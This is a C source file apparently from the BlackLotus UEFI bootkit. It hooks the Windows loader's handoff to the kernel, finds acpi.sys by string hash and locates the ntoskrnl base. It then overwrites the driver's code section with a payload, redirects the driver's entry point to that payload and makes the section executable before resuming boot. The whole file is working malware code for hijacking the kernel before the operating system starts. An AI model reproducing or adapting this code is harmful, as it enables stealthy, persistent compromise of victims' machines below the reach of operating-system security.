BlackLotus/src/Bootkit/OslArchTransferToKernel.c

97 lines
3.0 KiB
C

#include "Common.h"
typedef struct
{
ULONG OsMajorVersion;
ULONG OsMinorVersion;
ULONG Length;
ULONG Reserved;
LIST_ENTRY LoadOrderListHead;
LIST_ENTRY MEmoryDescriptorListHead;
LIST_ENTRY BootDriverListHead;
} PARAMETER_BLOCK, *PPARAMETER_BLOCK ;
D_SEC( B ) VOID EFIAPI OslArchTransferToKernelHook( _In_ PVOID LoaderBlock, _In_ PVOID Entry )
{
SIZE_T Len = 0;
PEFTBL Eft = NULL;
PLIST_ENTRY Hdr = NULL;
PLIST_ENTRY Ent = NULL;
PPARAMETER_BLOCK Blk = NULL;
PIMAGE_DOS_HEADER Ntd = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
PIMAGE_SECTION_HEADER Sec = NULL;
PLDR_DATA_TABLE_ENTRY Ldr = NULL;
/* Get EfiTable address */
Eft = C_PTR( G_PTR( EfTbl ) );
Blk = C_PTR( LoaderBlock );
/* Initialize list values */
Hdr = & Blk->LoadOrderListHead;
Ent = Hdr->Flink;
/* Enumerate the list to completion */
while ( C_PTR( Ent ) != C_PTR( Hdr ) ) {
/* Get the LDR_DATA_TABLE_ENTRY */
Ldr = CONTAINING_RECORD( Ent, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks );
/* Is this acpi.sys? */
if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == 0x5dc8930f ) {
Dos = C_PTR( Ldr->DllBase );
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
Sec = IMAGE_FIRST_SECTION( Nth );
/* Enumerate all the PE Sections */
for ( INT Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
/* Is this a .text section? */
if ( HashString( & Sec[ Idx ].Name, 0 ) == 0x0b6dca4d ) {
/* Locate the ntoskrnl image base */
Ntd = C_PTR( U_PTR( U_PTR( Entry ) &~ ( 0x1000 - 1 ) ) );
while ( Ntd->e_magic != IMAGE_DOS_SIGNATURE ) {
/* Decrement by a page! */
Ntd = C_PTR( U_PTR( Ntd ) - 0x1000 );
};
/* Store information for DrvMain to retrieve */
Eft->KernelBuf = C_PTR( G_PTR( EfiMain ) );
Eft->KernelLen = U_PTR( ( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( EfiMain ) ) );
Eft->KernelBase = C_PTR( Ntd );
Eft->TgtDrvImgSect = C_PTR( & Sec[ Idx ] );
Eft->TgtDrvImgBase = C_PTR( Ldr->DllBase );
Eft->TgtDrvLdrEntry = C_PTR( Ldr );
Eft->TgtDrvAddressOfEntrypoint = Nth->OptionalHeader.AddressOfEntryPoint;
/* Find the total length of the buffer */
Len = C_PTR( U_PTR( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( DrvMain ) ) );
/* Insert DrvMainStart */
__builtin_memcpy( C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ), C_PTR( G_PTR( DrvMain ) ), Len );
/* Insert a hook! */
Ldr->EntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress );
Nth->OptionalHeader.AddressOfEntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress );
/* Set -x permission in section */
Sec[ Idx ].Characteristics |= IMAGE_SCN_MEM_EXECUTE;
/* Break! */
break;
};
};
/* Break! */
break;
};
/* Next entry */
Ent = C_PTR( Ent->Flink );
};
/* Execute original OslArchTransferToKernel stub and callgate */
( ( __typeof__( OslArchTransferToKernelHook ) * ) Eft->OslArchTransferToKernelGate )( LoaderBlock, Entry );
};